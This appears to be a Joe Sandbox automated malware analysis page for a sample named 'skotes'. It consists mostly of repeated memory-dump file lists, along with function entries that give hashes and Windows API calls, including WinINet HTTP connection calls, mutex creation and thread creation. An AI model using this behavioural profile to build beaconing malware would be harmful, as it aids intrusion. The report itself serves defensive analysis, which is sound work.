Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: (q
API String ID: 1721193555-31779524
Opcode ID: fea7eb2d840bbc26a49391b45f4dde006e53adc02ac8ef267b6532bc4d2b652b
Instruction ID: 016a1c9999531d8fe6546384f28197f01809243fe71c82094dfc8b4ac645b165
Opcode Fuzzy Hash: fea7eb2d840bbc26a49391b45f4dde006e53adc02ac8ef267b6532bc4d2b652b
Instruction Fuzzy Hash: B45125709442089BEB24EB68CD897DDB7F4DB46314F5082D9E42DA73D1EF749A808B91

Function 00B7E62D Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 322sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00B87A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00B87AF8
Part of subcall function 00B87A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00B87B01

Part of subcall function 00B7BE30: Sleep.KERNEL32(000005DC,EB1D7F10,?,00000000), ref: 00B7BEB8
Part of subcall function 00B7BE30: InternetOpenW.WININET(00BC8DC8,00000000,00000000,00000000,00000000), ref: 00B7BEC7
Part of subcall function 00B7BE30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00B7BEEC
Part of subcall function 00B7BE30: HttpOpenRequestA.WININET(?,00000000), ref: 00B7BF36

Sleep.KERNEL32(00001388), ref: 00B7E84E

Strings

MGE+, xrefs: 00B7E821

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpenSleep$Cnd_destroy_in_situConnectHttpMtx_destroy_in_situRequest
String ID: MGE+
API String ID: 2868416192-475891385
Opcode ID: 21995ed20d3f567732b013fe9f2d98c09f31fed6889ee6f60f0ab0d29d49a16f
Instruction ID: b90d91b3b1dd75e46595171e32cc1823d886e7025e354480b7ce44f545407553
Opcode Fuzzy Hash: 21995ed20d3f567732b013fe9f2d98c09f31fed6889ee6f60f0ab0d29d49a16f
Instruction Fuzzy Hash: 69B1F871A101488BEB1CDB28CD8979DBBA2AF8A314F54C1CCE4789B3D6D735DA848B51

Function 00BA6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd3683a8c74566ce0fd99dbc5e21a2bb4275d87089d58cfccadb4c4273666703
Instruction ID: a7c36756b4fcba9ea8ce4a12861f6802880a1fac205328fe3a08ac68f5db2014
Opcode Fuzzy Hash: dd3683a8c74566ce0fd99dbc5e21a2bb4275d87089d58cfccadb4c4273666703
Instruction Fuzzy Hash: 652106B290C1087AEB116B68DC42F9F37A9DF43338F180395F9246B1C1DBB09E0596A1

Function 00B7A960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7339eac06c4405651572318badc59ce463c82ee29c23059bc2735bff7c7cc009
Instruction ID: c19de2491727589cdd48fbd07849732276bfb78e57b3c48e1602e897f02f544e
Opcode Fuzzy Hash: 7339eac06c4405651572318badc59ce463c82ee29c23059bc2735bff7c7cc009
Instruction Fuzzy Hash: 33E0861169E30195FA50B26D6865B2DE7D4C7D7B00F210A65A76CC70D29EA0D640C523

Function 00B86D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00B86D10
Sleep.KERNEL32(00007530), ref: 00B86D25

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 2e61092526aac27f3b96f08d0e9d2bbbd6b510d4f1faf53eac17f61d6c667906
Instruction ID: 0fbd8f4b7a831be418c4137c0095b8c95322f9f8127701e6f64b54c97cbd81e0
Opcode Fuzzy Hash: 2e61092526aac27f3b96f08d0e9d2bbbd6b510d4f1faf53eac17f61d6c667906
Instruction Fuzzy Hash: 6CD012307C4318F6F22022602C07F16AA609B0AF01F264080B3483F0E086E431008BA8

Function 00BA7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,00BA705B,?,?,00000000,00000000), ref: 00BA7166

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
